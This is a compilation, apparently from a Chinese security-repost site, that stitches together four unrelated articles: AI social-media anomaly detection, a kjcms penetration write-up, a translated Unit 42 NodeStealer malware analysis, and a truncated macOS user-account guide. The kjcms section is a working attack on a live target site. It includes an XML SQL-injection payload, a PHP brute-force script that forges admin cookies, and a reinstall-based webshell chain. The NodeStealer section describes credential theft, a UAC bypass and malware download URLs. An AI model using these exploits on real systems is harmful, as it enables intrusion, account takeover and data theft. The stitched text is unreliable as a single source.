如何應用人工智能來檢測社交媒體上的異常情況人工智能和機器學習算法是異常檢測系統的核心，因為它們負責分析社交媒體上的異常帖子。根據您的目標，您可以讓人工智能處理各種類型的內容、評估帳戶的可信度、分析特定類型的異常情況等。

我們來看看AI 對不同類型內容進行異常檢測的能力：

image.png

文本分析。除了TikTok 和YouTube 等以視頻為中心的平台外，流行社交媒體渠道上的大多數帖子都是基於文本的。使用人工智能分析它們可以為您提供比簡單的關鍵字搜索更多的信息。人工智能可以確定作者的情緒、解釋隱喻、破譯網絡俚語和編碼信息。它甚至可以理解幽默並檢測虛假陳述。這些人工智能功能可幫助異常檢測軟件標記異常並進行徹底分析。

圖像分析。基於人工智能的圖像分析有助於識別圖像內容：文本、對象和整體上下文。從圖像中讀取文本可以處理帶有文本疊加的帖子，這在Facebook 等平台上很流行。圖像處理算法從圖像中挑選出文本後，文本分析算法可以像處理普通文本記錄一樣處理它。

當涉及到圖片、屏幕截圖和其他圖像時，您可以使用各種圖像處理算法來識別對象、分割和分類圖像、搜索模式等。您還可以使用AI修復圖像失真，以改善分析結果。

視頻分析。仔細分析後，社交媒體上發布的視頻可能是安全相關信息的重要來源。人工智能算法可以檢測物體、動作、人，甚至識別情緒，並對不同的視頻進行分類。他們可以幫助偵查暴力、尋找失踪人員，並在大型活動中提供安全概覽。

請注意，與構建用於分析文本和圖像的解決方案相比，構建用於視頻分析的AI 解決方案是一項更具挑戰性但可以實現的任務。它需要收集不同的數據庫，進行廣泛的算法訓練，並使用大量的硬件能力來處理視頻。

現在讓我們看一下對於社交網絡異常檢測有用的人工智能算法的任務。請記住，解決方案的SaaS 部分可以執行所有非智能任務，例如網絡爬行和存儲數據。

image.png

上下文感知文本翻譯。對於國際組織來說，發現世界各地社交媒體上的異常帖子非常重要。此任務需要異常檢測軟件中的翻譯模塊。使用非人工智能翻譯器會降低軟件的效率，因為此類翻譯器不擅長處理上下文、隱喻和引用、語法錯誤和拼寫錯誤。

相反，您可以添加DeepLPython 庫中的API、OpenAI 中的ChatGPT 、Google Cloud 中的Translation AI或任何其他翻譯服務。選擇一項時，請考慮您的軟件使用的技術、開發團隊的專業知識、人工智能服務的功能以及翻譯成本。

威脅概率估計。並非社交媒體上所有不尋常的帖子都必須被標記為可疑。例如，網上的激烈爭論可能不會產生任何結果，或者會導致現實世界的騷擾。人工智能可以估計威脅真實存在的概率。為此，算法可以評估作者是人類還是機器人，分析作者之前的帖子，並確定可疑帖子的情緒。

威脅評估的結果將幫助審查社交媒體異常的專家做出決策，並對異常情況做出更快的反應，從而證明響應的合理性。對於此任務，您可以使用現成的AI 模型進行時間序列分析和自然語言處理。您還可以利用spaCY、NLTK、scikit-learn和Gensim等Python 庫。

風險分類和評分。除了評估威脅之外，人工智能和機器學習算法還可以評估已發現異常的重要性或嚴重性，並為其分配風險評分。風險評分可幫助使用異常檢測系統的專家儘早、快速地解釋結果並做出響應。

由於風險評估是AI 和ML 的常見用例，因此有許多適用於各種任務、行業和特定案例的風險分類AI 算法[PDF]。您可以找到一種或多或少適合您的項目的算法，而不是從頭開始開發算法。但是，請記住，您需要使用數據集訓練此算法，並根據您的特定任務進行調整。

儘管功能強大，人工智能驅動的異常檢測仍然嚴重依賴與該系統合作的專家。人工智能只能準備有關異常的信息供人類審查，從而節省專家的時間和精力。但它無法對威脅概率做出最終決定並選擇處理異常的最佳方法。

異常檢測解決方案的效率還很大程度上取決於其實施的好壞。讓我們看看您在進行異常檢測時可能面臨的主要挑戰以及如何克服這些挑戰。

構建基於SaaS 的異常檢測解決方案面臨哪些挑戰？提供如此復雜的解決方案需要雲應用程序開發、人工智能開發甚至合規法方面的專業知識。以下是您的團隊在開發社交媒體異常檢測SaaS 解決方案時可能遇到的主要挑戰：

image.png

用於人工智能訓練的數據集。任何人工智能算法都需要在相關數據集上進行訓練，然後才能應用於現實場景。準備用於異常檢測的數據集包含幾個挑戰。異常檢測算法必須依賴於準確、一致、有效和平衡的數據來進行有效的異常檢測。必鬚根據算法應檢測的異常類型來標記數據。數據集還必須定義什麼構成正常數據和異常數據。

找到適合特定用途的現成數據集幾乎是不可能的，這就是開發團隊經常手動創建數據集的原因。此過程可能非常耗時，並且需要開發和領域專業知識。另外，請記住，您的解決方案在發布後可能需要額外的培訓，以提高其結果的準確性或教它檢測新威脅。

API 限制。在異常檢測解決方案中包含第三方組件及其API 是減少開發時間和成本的好方法。但是，它為您的解決方案帶來了一系列限制。例如，API 限制可能會限制可訪問的數據量和類型，這可能會阻礙異常檢測解決方案的準確性和有效性。 API 還可能具有限制請求頻率和數量的速率限制。此外，API 方面的任何更新都可能破壞集成功能或引入安全風險。

完全預測和克服與API 相關的挑戰是不可能的，但您可以在集成第三方產品之前通過徹底研究第三方產品來為這些挑戰做好準備。

雲硬件的價格。人工智能算法可能需要大量計算能力來處理信息。在雲服務上託管異常檢測解決方案可以讓您避免人工智能發展熱潮導致的硬件瓶頸、擴展問題和可能的硬件短缺。然而，如果不調整算法，租用雲資源的成本可能會快速上升。

為了控制云成本，請明確定義您要監控哪些社交媒體內容以及您希望軟件處理多少信息。確保人工智能僅執行需要智能算法的任務，所有其他任務均由資源消耗較少的非人工智能工具完成。

監管合規性。監控社交媒體的異常檢測解決方案需要存儲有關檢測到的異常和分析結果的信息。根據法律要求保護這些信息可以讓您既確保數據安全又避免違規問題。

這裡的挑戰是缺乏使用人工智能進行異常檢測的法規。雖然沒有專門針對此類解決方案的實踐，但您可以依賴GDPR 等國際法規以及當地的數據保護法律和標準。

內置偏置。人工智能解決方案不可能完全沒有偏見和公平，因為它繼承了創建它的開發團隊的偏見。該團隊根據他們的經驗、心態以及社會和專業背景選擇算法、開發工具和數據進行培訓。人工智能偏見給異常檢測帶來了道德和質量挑戰。

雖然不可能完全消除偏見，但您可以通過以下方式降低將偏見引入AI 模型的風險：

提高開發過程的透明度

收集多樣化的訓練數據集

廣泛測試您的解決方案

聚集多元化的項目團隊

需要利基專業知識。提供複雜的人工智能解決方案需要您聚集具有不同專業知識的專家：人工智能和機器學習開發、SaaS 開發、雲基礎設施管理、網絡安全、目標行業的專業經驗。組建如此多元化的團隊對任何公司來說都是一個挑戰。保留專家團隊也會導致預算增加。

結論監控社交媒體並檢測異常帖子可以幫助您完成各種任務：防止安全威脅、打擊恐怖主義、發現新趨勢和主題等等。使用人工智能進行異常檢測可以幫助專家節省手動工作時間並進行更高質量的異常分析。與手動異常檢測相比，在雲中部署此類解決方案可以降低維護成本並提高準確性。

HireHackking

0x00 前言

打开链接，发现是一个luo聊的app下载，夜神+burp抓包
图片获取到网址，通过js的文件特征去github查找源码文件图片根据代码发现他是一个kjcms，然后去官网下载源码来进行审计

0x01  sql注入

在cls_weixin::on_exe方法中，有许多执行sql语句的点图片这里注入需要满足$arr_msg[‘FromUserName’]可控，发现$arr_msg变量调用了当前类的get_msg()方法，跟进这个方法：static function get_msg() {    $arr_return = array();    $cont = file_get_contents("php://input");    //$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt");    if(empty($cont)) return $arr_return;    $request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA);    $arr_return = fun_format::toarray($request);    return $arr_return;}发现$cont是通过post数据流获取的，传入的xml，继续跟进fun_format::toarraystatic function toarray($cont) {    if(gettype($cont) == "string") $cont = json_decode($cont);    $arr = (array)$cont;    foreach($arr as $item=>$key) {        if(gettype($key) == 'object' ) {            $key = self::toarray($key);        } else if(gettype($key) == 'array'){            $key = self::objtoarray($key);        }        $arr[$item] = $key;    }    return $arr;}这里不太重要，只是把xml的值转化为数组，所以在on_exe方法中的$arr_msg数组是可控的，即可以产生sql注入，经过本地测试发现，在on_exe方法中的数据查询很多都不存在表，这里发现一个点：图片跟进tab_weixin_message::get_one方法，参数$key是我们可控的，参数$site_id无关紧要图片全局查找cls_weixin::on_exe，在根目录weixin.php调用了这个方法<?phpinclude("inc.php");if(isset($_GET["echostr"])) {    echo $_GET["echostr"];exit;}cls_weixin::on_exe();现在就只需要构造payload了，这里要进入到执行tab_weixin_message::get_one方法，需要进过：
issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType'] == 'event'->$arr_msg['Event']) == 'click'
图片
这个点只能时间盲注，在我本地测试的时候可以通过updatexml(1,if(({}),0x7c,1),1)的方法来实现时间盲注变成布尔注入，目标环境问题无法实现，我就写了个脚本去跑账号密码。图片发现自己傻逼了，在目录文件中会生成数据库报错的文件，路径为：/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)图片知道表结构和字段，直接去目标站注入，拿到后台密码hash，发现解密不了，看了下代码，有盐，是通过md5(pass+盐)进行加密的，这里盐也是在密码表中可以看到的，发现也解密不了。

0x02  伪造cookie

在登录处，发现cookie中的kj_s_id和kj_login_time是用来登录的，感觉可以伪造，这里我跟进下代码，看下kj_s_id是怎么生成的，验证登录处代码：
function act_login_verify() {        $arr_return = $this->on_login_verify();        return fun_format::json($arr_return);    }跟进on_login_verify方法function on_login_verify() {    $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok"));    $arr_fields = array(        "user_name" => fun_get::post("uname"),        "user_pwd"   => fun_get::post("pwd"),        "verifycode" => fun_get::get("verifycode"),        "autologin" => fun_get::get("autologin")    );    if(!fun_is::pwd($arr_fields["user_pwd"])) {        $arr_return["code"] = 7;        $arr_return["msg"]  =  fun_get::rule_pwd("tips");        return $arr_return;    }    $arr = cls_obj::get("cls_user")->on_login($arr_fields);    if( $arr["code"] != 0 ) {        $arr_return = $arr;        return $arr_return;    }    return $arr_return;}$arr_fields数组中获取登录的账号密码，继续跟进on_login方法图片$str_id是通过fun_get::safecode方法来的，现在只需要$perms[‘sid’]是怎么来的，跟进查看，并没发现到什么，这里，我直接打印出self::$perms[‘sid’]的值，发现是ip+时间戳+随机数的形式
echo self::$perms['sid'];exit;
图片发现这里数据存放在数据库的kj_sys_session表中的session_id字段，而session_user_id表示是否登录在，1表示登录在，0表示退出了登录。图片我们有注入点，这个session_id我们可以通过注入来获取到的，现在跟进fun_get::safecode方法，看cookie中的kj_s_id是怎么加密的图片跟进$str_key变量，看他是从哪里来的，跟进cls_config::MD5_KEY，发现他来自data\config\cfg.env.online.php中的MD5_KEY常量。而这个常量是安装的时候随意random的五位数图片最后获取的$str_return是由3部分组成$str_left，base64($msg_val)，$str_right，所以这个$str_key变量需要我们继续爆破，并且知道fun_get::safecode方法的$msg_val参数是ip+时间戳+随机数的形式，下面就进行漏洞复现。

0x03 漏洞复现

首先抓取目标站后台登录时的cookie，如：NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg，假设我的ip地址为104.192.225.86，通过base64为MTAzLjE5Mi4yMjUuODY=，去掉=。本地经过测试发现ip+时间戳+随机数通过base64编码后为36位，所以上面的加密密文就为：
Ng
MTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUY
TBjZmVkN2ZmMzY2OTYzYg
我们通过注入获取$msg_val参数和登录状态<?xml version="1.0"?><note>    <ToUserName>cccc</ToUserName>    <FromUserName>1</FromUserName>    <MsgType>event</MsgType>    <Event>click</Event>    <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#</EventKey></note>图片成功读取到了，这里就需要爆破MD5_KEY，他是五位数的，用他的代码修了下php的爆破脚本<?phpfunction safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552        $str_key       = $str_key_val;        $str_en_key    = base64_encode($str_key);        $str_md5_key   = md5($str_key);        $str_md5_key_1 = substr($str_md5_key , 0 , 1);        $str_md5_key_2 = substr($str_md5_key , -1 , 1);        $lng_key_1     = ord($str_md5_key_1);        $lng_key_2     = ord($str_md5_key_2);        $lng_x_key1    = substr($lng_key_1,-1,1);        if($lng_key_1 > 9) {            $lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1;        }else{            $lng_x_key2 = $lng_x_key1 * 2;        }        $str_left      = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2));        $lng_2_key1    = substr($lng_key_2 , -1 , 1);        if($lng_2_key1 > 9){            $lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1;        }else{            $lng_2_key2 = $lng_2_key1 * 2;        }        $str_right = base64_encode(substr($str_md5_key , -$lng_2_key2));        if($msg_type == "encode"){            $str_en_id   = base64_encode($msg_val);            $str_en_code = $str_left . $str_en_id . $str_right;            $str_return  = str_replace("=" , "" , $str_en_code);        }else{            $str_left    = str_replace("=" , "" , $str_left);            $str_right   = str_replace("=" , "" , $str_right);            $str_llen    = strlen($str_left);            $str_rlen    = strlen($str_right);            $str_len     = strlen($msg_val);            if($str_len < ($str_llen + $str_rlen)){                $str_return = "";            }else{                $str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen));            }        }        return $str_return;    }

function getNumber($start=1,$end=99999){    for ($i=$start; $i <= $end; $i++) {         $arr[] = substr(str_repeat("0",6).$i,-5,5);    }    return $arr;}
$numbers= getNumber(1,99999);foreach ($numbers as $val){    $keyss = safecode('105.112.215.421600227695831','encode',$val)."<br />";    echo $keyss.':'.strval($val)."<br />";    if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){        echo $val;        exit;    }}成功获取到了MD5_KEY，然后我们在通过这个脚本利用这个MD5_KEY来生成kj_s_id图片最后就可以伪造cookie登录后台了图片图片

0x04  重装漏洞getshell

本来以为后台可以直接修改文件上传的后缀，发现事情并没有那么简单图片发现还是限制了php无法上传，跟进这部分代码看了下，lib\tab\tab.other.attatch.php图片这里会先获取上传文件的后缀，来判断后缀是否存在$arr_no_allow_ext数组中，所以会先判断数组里面的上传类型，在判断允许上传的类型。这里只有针对windows可以getshell了，我们将上传类型修改成php(空格)，由于windows特性，会把空格去掉。图片然而我们的目标是linux，这种方式不行了，再回来看看代码后台是否有getshell的点，除了在重新安装的点就没发现可以shell的点了（自己太菜了，找到不影响正常功能shell的点）。在文件app\model\install\mod.index.php中的on_config方法：图片mysql的账号密码是通过file_put_contents函数写入到配置文件\data\config\cfg.env.online.php，并没有通过这个cms的过滤函数fun_get::get/post方法，这个方法过滤如下：static function filter_base($str_x , $is_reback=false) {    $search = array("&amp;","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10));    $replace = array("/amp;/amp;/amp;","&amp;","&amp;","&quot;","&#039;","&lt;","&gt;",chr(13));    if($is_reback) {        $str_x = str_replace($replace , $search , $str_x);        $str_x = str_replace('\\\'',"'",$str_x);//替换经过mysql转义的格式        $str_x = str_replace('\\"','"',$str_x);    }else{        $str_x = str_replace($search , $replace , $str_x);    }    return $str_x;}全局查了下，$is_reback参数都是为默认的false，为true的话，这个过滤就没啥影响了。现在重装漏洞的点可以实现了，需要一处任意文件删除来将\data\install.inc锁文件进行删除就可以重新安装了。在后台系统日志处，有一次日志文件删除的点，这个点不用看代码都知道可以删除，因为在fun_get::get/post方法中并没有过滤/``.。图片删除了install.inc锁文件就可以进行重新安装了。在数据库名填上我们的任意php代码，就可以shell了。图片重装漏洞虽然可以拿下shell但是不推荐使用重装漏洞会影响正常网站的数据


转自于原文链接： https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486466&idx=1&sn=121b62ef2740e8474119c3914d363e4c&chksm=ce67a69bf9102f8deac87602cbb4504f9a59336fb0113f728164c65048d0962f92dd2dd66113&scene=21#wechat_redirect
HireHackking

Malware-r3d2.png

Unit 42的研究人員最近發現了一個以前未被報導的網絡釣魚活動，該活動傳播了一個信息竊取器，該信息竊取器可以完全接管攻擊目標Facebook的商業賬戶。 Facebook的商業賬戶受到了網絡釣魚誘餌的攻擊，這些誘餌提供了商業電子表格模板等工具。這是攻擊者以Facebook商業賬戶為目標的日益增長的趨勢的一部分，目的是廣告欺詐和其他目的，這一趨勢在2022年7月左右隨著Ducktail信息竊取者的發現而出現。

大約8個月後，即2023年3月，據報導，偽裝成ChatGPT Chrome擴展的新變種FakeGPT竊取了Facebook廣告帳戶。 Unit 42還報導了2023年4月以ChatGPT為主題的詐騙攻擊。 2023年5月，Meta發布了一份名為NodeStealer的新信息竊取惡意軟件報告，該報告描述了2022年7月編譯的惡意軟件和2023年1月發現的涉及NodeSteiler的惡意活動。 NodeStealer允許攻擊者竊取瀏覽器cookie來劫持平台上的賬戶，特別是針對商業賬戶。

在調查這一增長趨勢時，研究人員發現了一場始於2022年12月左右的活動，此前沒有被報導過。

在活動中傳播的信息竊取器與Meta分析的2022年7月用JavaScript編寫的NodeStealer變體有許多相似之處。然而，新的攻擊活動涉及兩個用Python編寫的變體，這些變體使用額外的功能進行了改進，攻擊者為這些變體配備了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

NodeStealer給個人和組織帶來了巨大的風險。除了對Facebook商業賬戶（主要是金融賬戶）的直接影響外，該惡意軟件還竊取瀏覽器的憑證，這些憑證可用於進一步的攻擊。

在本文中，我們將介紹一些未報導的針對Facebook商業賬戶的網絡釣魚活動，並將對惡意軟件進行深入分析。此外，我們將通過Cortex XDR（設置為僅檢測模式）的方式展示惡意軟件的操作過程。我們將為Facebook商業賬戶所有者如何保護他們的賬戶提供建議。雖然這一活動不再活躍，但有跡象表明，其背後的攻擊者可能會繼續使用和發展NodeStealer，或使用類似技術繼續針對Facebook商業賬戶。也有可能對以前受到該攻擊的組織進行持久性攻擊。

網絡釣魚活動從分析數據來看，信息竊取者的主要攻擊手段是網絡釣魚活動。網絡釣魚活動發生在2022年12月，提供了兩種信息竊取的變體，為了方便講解，我們在本文中將其稱為變體#1和變體#2。

此次活動的主題是為企業提供廣告材料。該攻擊者使用多個Facebook頁面和用戶發布信息，誘導受害者從已知的雲文件存儲提供商那裡下載鏈接。點擊後，一個.zip文件被下載到設備上，其中包含惡意的信息竊取程序可執行文件。

1.png

Facebook釣魚帖子誘導受害者下載受感染的.zip文件

變體#1分析該活動中信息竊取程序的第一個變體在內部命名為word.exe。它是用Nuitka編譯的，攻擊者為文件使用了一個唯一的產品名稱：Peguis。

2.png

word.exe的元數據

變體#1的進程樹非常“嘈雜”，這意味著它創建了多個進程並執行了許多被認為是異常活動的指示的操作，並且不是非常秘密，包括呈現給用戶的彈出窗口。

主要功能如上所述，NodeStealer的目標是Facebook的商業賬戶。變體#1有一些額外的功能，這使它能夠實現以下功能：

竊取Facebook商業賬戶信息；

下載其他惡意軟件；

通過GUI（圖形用戶界面）禁用Windows Defender；

MetaMask（加密貨幣錢包）盜竊；

竊取Facebook商業賬戶信息。

惡意軟件執行時的第一件事是檢查是否有Facebook商業帳戶登錄到受感染設備的默認瀏覽器。它通過連接到https://business.facebook.com/ads/ad_limits/並檢查標頭來實現這一點。

3.png

使用Facebook的Graph API竊取信息

如果確實有一個Facebook商業帳戶登錄，惡意軟件會連接到Graph API（Graph.Facebook.com），並通過標頭竊取用戶ID和訪問令牌。

根據Meta的說法，“Graph API是將數據輸入和輸出Facebook平台的主要方式。這是一個基於http的API，應用程序可以使用它以編程方式查詢數據、發布新故事、管理廣告、上傳照片以及執行各種各樣的其他任務。”

NodeSteiler使用Graph API來竊取目標的信息，包括：關注者數量、用戶驗證狀態、帳戶信用餘額、帳戶是否預付以及廣告信息。

惡意軟件還通過向https://www.facebook.com/ajax/bootloader-endpoint/?modules=AdsLWIDescribeCustomersContainer.react發送請求來獲取Facebook JavaScript模塊adslwidcribecustomerscontainer的內容。

該JavaScript模塊是Facebook廣告平台的一部分，用於描述和管理Facebook廣告中的自定義受眾。自定義受眾允許廣告商根據特定人群的人口統計、興趣、行為或其他標準瞄準特定人群，惡意軟件竊取這些信息並將其發送到其命令和控制服務器（C2）。

除了竊取有關Facebook商業賬戶的信息外，該惡意軟件還旨在竊取這些賬戶的憑證。為了做到這一點，它會在以下瀏覽器的cookie和本地數據庫中檢查Facebook用戶和密碼：Chrome、Edge、Cốc cốc、 Brave和Firefox。

4.png

從瀏覽器的數據庫中竊取密碼

5.png

NodeStealer執行的警報，如Cortex XDR所示

然後惡意軟件通過Telegram洩露輸出文件並刪除文件以消除其踪跡：

6.png

通過Telegram盜取

7.png

跟踪並刪除NodeStealer

下載其他惡意軟件變體#1被配置為從以下URL下載兩個.zip文件：

hxxps://tinyurl[.]com/batkyc，重定向到hxxp://adgowin66[.]site/ratkyc/4/bat.zip；

hxxps://tinyurl[.]com/ratkyc2，重定向到hxxp://adgowin66[.]site/ratkyc/4/ratkyc.zip；

Bat.zip包含禁用Windows Defender的ToggleDefender批處理腳本，Ratkyc.zip包含三個惡意軟件：

名為COM Surrogate.exe的BitRAT；

一種名為Antimalware Service Executable.exe的隱藏虛擬網絡計算（hVNC）RAT；

XWorm命名的Windows Tasks.exe主機進程；

為了下載.zip文件，惡意軟件實現了FodHelper UAC繞過。使用此方法，攻擊者試圖繞過用戶帳戶控制（UAC）並執行用於下載上述zip文件的PowerShell腳本。

8.png

FodHelper UAC繞過NodeStealer中的編碼命令

base64壓縮後的命令翻譯如下：

9.png

以下是當Cortex XDR設置為僅檢測模式時，變體#1的執行流程：

10.png

變體#1的執行流程，如Cortex XDR中所示，設置為僅檢測模式

下載並提取文件後，NodeStealer通過註冊表運行鍵為三個惡意軟件（BitRAT、hVNC RAT和XWorm）以及自己的二進製文件（word.exe）設置持久性。

通過GUI禁用Windows Defender除了ToggleDefender批處理腳本之外，變體#1還使用了另一種技術來禁用Windows Defender，這次使用的是GUI。這是一種非常嘈雜的方法，因為最終用戶將能夠看到Windows Defender GUI在設備上彈出，並且惡意軟件會將其禁用。

用於打開GUI和禁用WindowsDefender的命令如下圖所示。

11.png

用於禁用Windows Defender的命令

MetaMask竊取該惡意軟件還試圖通過竊取Chrome、Cốc Cốc和Brave瀏覽器的MetaMask證書來實現經濟利益最大化。

MetaMask是通過瀏覽器訪問以太坊錢包的擴展。通過竊取此應用程序的憑證，攻擊者可以從用戶的錢包中竊取加密貨幣。

正如它在竊取Facebook cookie和憑證時所做的那樣，該惡意軟件提取了用於存儲瀏覽器信息的本地數據庫。它在其中搜索擴展nkbihfbeogaeaeahlefnkodbefgpgknn，這是直接從擴展庫安裝MetaMask時的擴展。

然後，惡意軟件將數據複製到一個文件中，並使用Telegram將其洩露出去，就像它對Facebook憑證所做的那樣。

12.png

從Brave瀏覽器竊取MetaMask憑證

變體#2分析該活動中的第二個版本內部命名為MicrosofOffice.exe，並與第一個版本一樣使用Nuitka進行編譯。但與第一種變體不同，它不會對毫無戒心的用戶產生大量可見的活動。對於這種變體，攻擊者使用了產品名稱“Microsoft corporation”（最初是惡意軟件開發者拼錯的）。

13.png

變體#2的元數據偽裝成MicrosofOffice.exe

主要功能與第一個變體一樣，變體#2以Facebook商業賬戶信息和MetaMask錢包為目標，但它的功能更近一步：

試圖接管Facebook帳戶；

實現反分析功能；

竊取電子郵件；

接管Facebook帳戶；

變體#2試圖購買由合法越南網站（hotmailbox[.]me）提供的在線電子郵件服務。

它試圖使用一個嵌入式API密鑰來實現這一點，該密鑰保存特定服務的信用餘額：https://api.hotmailbox[.]me/mail/buy?apikey=mailcode=HOTMAILquantity=1。

14.png

向hotmailbox[.]me購買郵箱服務

15.png

惡意軟件使用的API密鑰的信用餘額

如果購買嘗試失敗，惡意軟件再次嘗試使用持有專用信用餘額的API密鑰從另一個越南網站（dongwanfb[.]net）購買郵箱服務：https://api.dongvanfb[.]net/user/buy?apikey=

16.png

向dongvanfb[.]net購買郵箱服務

如果購買嘗試成功，惡意軟件將保存新郵箱的電子郵件和密碼，這些郵箱將在活動的下一階段使用。

接下來，惡意軟件使用不需要驗證密碼的技術修改受害者Facebook商業帳戶的帳戶電子郵件地址，使用以下URL: https://www.facebook[.]com/add_contactpoint/dialog/submit/。

如果需要，惡意軟件會通過電子郵件向https://getcode.hotmailbox[.]me地址發送獲取Facebook驗證碼的請求。

17.png

用於向hotmailbox[.]me請求Facebook身份驗證碼的代碼

然後，惡意軟件檢查更新後的電子郵件，查看修改是否成功：

18.png

查看Facebook賬戶的更新郵件

如果成功，攻擊者現在已經通過將合法用戶的電子郵件地址替換為他們控制的郵箱來接管Facebook帳戶。

讀取電子郵件此外，該惡意軟件還具有解析電子郵件的功能，因此它可以讀取受害者的電子郵件。雖然我們沒有直接觀察到此類活動，但攻擊者添加此功能可能會干擾任何通知受害者配置更改的Facebook警報。

19.png

負責讀取電子郵件的功能

反分析和反虛擬機的功能在分析的變體#2的幾個樣本中，攻擊者添加了一個簡單的功能來檢查是否存在惡意軟件分析工具和虛擬機進程。如果其中一個正在系統上運行，惡意軟件就會自行終止。

20.png

反分析和反虛擬機的功能

NodeSteiner變體之間的差異如上所述，本文分析的NodeStealer的兩個變體之間有相似之處，但也有許多不同之處。下表比較了Meta報告的版本中NodeStealer的主要功能，以及不同變體中的主要功能：

21.png

NodeSteiner變體之間的差異比較

越南攻擊者有趣的是，Ducktail和NodeStealer之前都被Meta懷疑是來自越南的攻擊者。 NodeStealer惡意軟件與越南攻擊者之間的可疑聯繫可以用不同的方式解釋。

第一個可能表明這種聯繫的發現是，在本文分析的兩個變體的Python腳本中，我們遇到了許多越南語字符串。

22.png

在NodeStealer中找到的字符串“TongChiTieu”的翻譯

23.png

在NodeStealer中找到的字符串“ThoiGianCheck”的翻譯

懷疑與越南攻擊者有聯繫的第二個跡像是，攻擊者的目標是一個名為Cốc Cốc的瀏覽器，該瀏覽器在其“關於我們”頁面上自稱為“越南人民的網絡瀏覽器和搜索引擎”。

24.png

如上所述，在變體#2中發現了疑似越南人與NodeStealer有關的第三個跡像是，這種變體試圖從兩個不同的越南網站（Hotmailbox[.]me和Dongvanfb[.]net）購買在線郵箱服務。

總結在這篇文章中，我們發現了一個針對Facebook商業賬戶的NodeStealer惡意軟件活動。作為活動的一部分，我們發現了NodeStealer的兩個變體，變體#1和變體#2。對這兩種變體的分析揭示了惡意軟件的一些有趣功能，所有這些都可能增加攻擊者的潛在經濟利益。

這名被懷疑來自越南的攻擊者為新變種提供了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

緩解措施1.Facebook鼓勵企業賬戶所有者使用強密碼並啟用多因素身份驗證；

2.企業使用基於雲的威脅分析服務可以準確地識別出這些樣本是惡意的，具體包括：

2.1 通過URL過濾和DNS安全將與該組織關聯的URL和域識別為惡意；

2.2 具有高級威脅防護安全訂閱的下一代防火牆；

2.3 分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。

HireHackking

在處理macOS 相關項目時，您的開發和質量保證(QA) 團隊必須考慮許多細微差別以交付安全的應用程序。例如，您需要確保您的應用程序適用於所有可能的macOS 安全配置。您必須了解這些功能在特定版本的macOS 中如何工作、管理員如何配置它們，以及如何通過各種macOS 安全配置確保解決方案的穩定性能。

在本文中，我們概述了八個關鍵的macOS 安全配置，展示瞭如何使用它們來保護macOS 設備，並解釋了開發安全的macOS 應用程序時應考慮的事項。

本文對於從事macOS 開發項目、希望更深入地了解macOS 安全功能的IT 工程師非常有用。

1. 設置用戶帳戶在macOS 中，您可以選擇具有不同權限級別的四種類型的用戶帳戶。這些權限可以允許或阻止使用不同操作系統功能的能力。

在macOS 中，您可以創建以下帳戶類型：

行政。管理員擁有所有可能的訪問權限。他們可以更改任何macOS 配置、安裝和刪除應用程序、創建和管理用戶帳戶等。您在macOS 中創建的第一個用戶將屬於管理員類型。一台設備上可以有多個管理員。

標準。標準用戶可以管理自己的設置、使用主文件夾中的文件和文件夾以及下載系統更新但不能安裝它們。標準用戶無法安裝和刪除應用程序、更改其他用戶的配置文件或編輯系統首選項（例如網絡和安全首選項窗格中的首選項）。您可以將標準用戶帳戶升級為管理員帳戶。

僅供分享。僅共享帳戶的用戶唯一可以做的就是遠程訪問共享文件。他們無法登錄macOS 中的個人用戶配置文件。

客人。每個系統只有一個訪客用戶帳戶，無需密碼即可登錄。訪客無法更改任何設備或操作系統設置、管理用戶或遠程登錄。當訪客註銷時，他們創建的所有數據都將被刪除。

要管理用戶，請以管理員身份打開“系統偏好設置”中的“用戶和組”偏好設置窗格。您將看到用戶列表及其帳戶類型。如果您想更改用戶帳戶，請單擊鎖定圖標並輸入管理員密碼：

image.png

圖1. 訪問“用戶和組”首選項窗格

要將標準用戶升級為管理員，請選中“允許用戶管理此計算機”選項。您可以通過取消選中此框將管理員用戶降級為標準用戶。

image.png

圖2. 將標準用戶帳戶升級為管理員帳戶

單擊訪客用戶管理設備的訪客帳戶：

image.png

圖3. 在macOS 中管理來賓用戶帳戶

要創建新用戶，請單擊“用戶和組”首選項窗格左下角的加號按鈕，然後填寫帳戶創建表單：

image.png

圖4. 創建新用戶帳戶

如果要刪除用戶帳戶，請選擇要刪除的帳戶，單擊“用戶和組”窗格左下角的減號按鈕，然後確認要刪除該帳戶：

image.png

圖5. 刪除用戶帳戶

根據用戶角色和需求配置用戶帳戶通常有助於提高網絡和應用程序的安全性，但在以下情況下應特別注意帳戶創建：

該設備可供多人使用。如果許多人都可以訪問存儲敏感信息的系統，您需要保護它免受未經授權的訪問和內部威脅。實現此目的的一種方法是創建具有所需訪問級別的不同用戶帳戶。例如，您可以允許用戶讀取數據並查看系統設置，但只允許系統管理員更改數據和設置。

組織擁有該設備。當組織為員工提供工作計算機時，它可能會限制用戶訪問設備設置的權限並使用組策略控制此類設備。 macOS 允許管理員通過創建具有訪問限制的用戶帳戶來執行此操作。

